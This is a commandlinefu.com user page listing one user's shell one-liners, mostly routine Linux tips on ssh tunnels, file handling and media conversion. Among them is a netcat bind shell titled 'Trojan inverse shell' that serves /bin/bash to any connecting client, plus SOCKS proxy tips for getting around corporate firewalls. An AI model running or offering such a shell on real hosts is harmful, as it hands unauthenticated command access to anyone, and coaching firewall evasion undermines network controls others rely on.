Commands by prayer

Commands by prayer (26)

sorted by

Socksify any program to avoid restrictive firwalls

Require: - tsocks (deb pkg) - A working SOCKS proxy. It's easy with ssh: $ ssh -N -D localhost:1080 your.home.pc -p 443 - tsocks configuration in your /etc/tsocks.conf (for the previous): server = 127.0.0.1 server_port = 1080
This is sample output - yours may be different.
6

tsocks <program>

prayer · 2010-07-11 14:16:06 5
Remove a line in a text file. Useful to fix "ssh host key change" warnings
This is sample output - yours may be different.
30

sed -i 8d ~/.ssh/known_hosts

prayer · 2010-07-10 14:22:34 13
big countdown clock with hours, minutes and seconds

Change HH:MM with your target time. This is for a Debian/Ubuntu GNU system. You need bash (package bash), date (package coreutils) and toilet (package toilet). Install with: # apt-get install bash coreutils toilet toilet-fonts
This is sample output - yours may be different.
-2

watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet -f bigmono12'

prayer · 2010-06-26 11:56:11 4
make, or run a script, everytime a file in a directory is modified
This is sample output - yours may be different.
5

while inotifywait -r -e MODIFY dir/; do make; done;

prayer · 2010-06-08 23:34:00 7
Start a SOCKS proxy to avoid a restrictive firewall

You may go to Internet by means of your home ssh server. You must configure your local proxy to send traffic through the proxy. Many programs allows that: firefox, pidgin, skype, gnome, etc. Your home ssh server must listen in any of the ports permitted by your enterprise firewall. That usually includes 80 and 443. Show Sample Output
This is sample output - yours may be different.
```
<no output>
```
3

autossh -N -D localhost:1080 myhome.example.net -p 443

prayer · 2010-05-22 19:52:30 7
Get debian package names corresponding to latex packages used in a document
This is sample output - yours may be different.
1

grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq

prayer · 2010-05-22 19:37:26 5
online MAC address lookup
This is sample output - yours may be different.
2

curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1

prayer · 2010-04-29 23:52:01 30
shows the full path of shell commands
This is sample output - yours may be different.
0

type <command>

prayer · 2010-02-15 21:47:18 5
Remove all files previously extracted from a tar(.gz) file.
This is sample output - yours may be different.
42

tar -tf <file.tar.gz> | xargs rm -r

prayer · 2009-07-06 22:23:11 20
Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP)

You need python-scapy package Show Sample Output
This is sample output - yours may be different.
```
201.201.2.3
```
1

python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"

prayer · 2009-05-21 19:33:55 4
Extract an audio track from a multilingual video file, for a specific language.
This is sample output - yours may be different.
0

mencoder -aid 2 -oac copy file.avi -o english.mp3

prayer · 2009-05-19 19:24:43 7
Convert a SVG file to grayscale

It requires inkscape 0.46 and lxml packages
This is sample output - yours may be different.
7

inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose

prayer · 2009-04-27 18:59:31 6
Close shell keeping all subprocess running
This is sample output - yours may be different.
149

disown -a && exit

prayer · 2009-04-10 12:22:34 36
Kill a background job

Show Sample Output
This is sample output - yours may be different.
```
$ ping www.google.com &
$ jobs
[1]+  Running                 ping www.google.com &
$ kill %1
[1]+  Terminated              ping www.google.com &
$
```
-5

kill %1

prayer · 2009-04-09 11:54:13 4
List nearbies
This is sample output - yours may be different.
-1

/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d

prayer · 2009-03-24 18:53:26 9
Converts to PDF all the OpenOffice.org files in the directory

Requieres unoconv (debian package)
This is sample output - yours may be different.
11

for i in $(ls *.od{tp}); do unoconv -f pdf $i; done

prayer · 2009-03-10 20:03:48 13
Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
This is sample output - yours may be different.
2

ssh -NL 2000:remotehost:22 remotehost

prayer · 2009-03-10 15:09:54 14
Run any GUI program remotely

ssh -X example.org xeyes The SSH server configuration requires: X11Forwarding yes # this is default in Debian And it's convenient too: Compression delayed
This is sample output - yours may be different.
16

ssh -fX <user>@<host> <program>

prayer · 2009-03-10 15:02:35 22
Activate on-the-fly GTK accels

Then, you can assign new accels to GTK menu actions pressing the keys while the option is active.
This is sample output - yours may be different.
-1

gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true

prayer · 2009-03-10 14:53:33 6
Rotate a set of photos matching their EXIF data.

You need jhead package.
This is sample output - yours may be different.
10

jhead -autorot *.jpg

prayer · 2009-03-03 22:23:22 13
Open a file at the specified line

You may also use +line:column syntax.
This is sample output - yours may be different.
2

emacs +400 code.py

prayer · 2009-03-03 14:30:19 6
Delete the specified line
This is sample output - yours may be different.
14

sed -i 8d ~/.ssh/known_hosts

prayer · 2009-03-03 01:13:28 17
Trojan inverse shell

To connect to the shell run: nc server.example.org 2000
This is sample output - yours may be different.
6

nc -l -p 2000 -e /bin/bash

prayer · 2009-03-02 15:58:25 9
mp3 streaming

Show Sample Output
This is sample output - yours may be different.
```
The client must write:
$ nc server.example.org 2000 | madplay -
```
8

nc -l -p 2000 < song.mp3

prayer · 2009-03-02 15:54:21 13
Create a single-use TCP (or UDP) proxy

Redirect the local port 2000 to the remote port 3000. The same but UDP: nc -u -l -p 2000 -c "nc -u example.org 3000" It may be used to "convert" TCP client to UDP server (or viceversa): nc -l -p 2000 -c "nc -u example.org 3000"
This is sample output - yours may be different.
25

nc -l -p 2000 -c "nc example.org 3000"

prayer · 2009-03-01 21:28:39 32
1 2 >

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Download and install the newest dropbox beta

Uninstall bloatware on your android device without root.

List all packages with: pm list packages|cut -d: -f2

Given process ID print its environment variables

To have only unique lines in a file

Emulating netcat -e (netcat-traditional or netcat-openbsd) with the gnu-netcat

Then just nc servername 2600 and ./script.sh kill the client with ctrl+c. You can reconnect several times. kill the server with exit

Increment the filename of png in a given directory by one

Find the package that installed a command

connects to a serial console

e.g., 'screen -L /dev/ttyUSB0 38400' listens to your Holux M-241 GPS logger and turns on automatic logging

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Test how well a web server handles concurrent connections and big load.

This command will execute 1000 requests to the http URL http://127.0.0.1:8000 handlink 100 concurent connections at a time. Then it will display statistics about the time that have been taken.

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)
» commands by prayer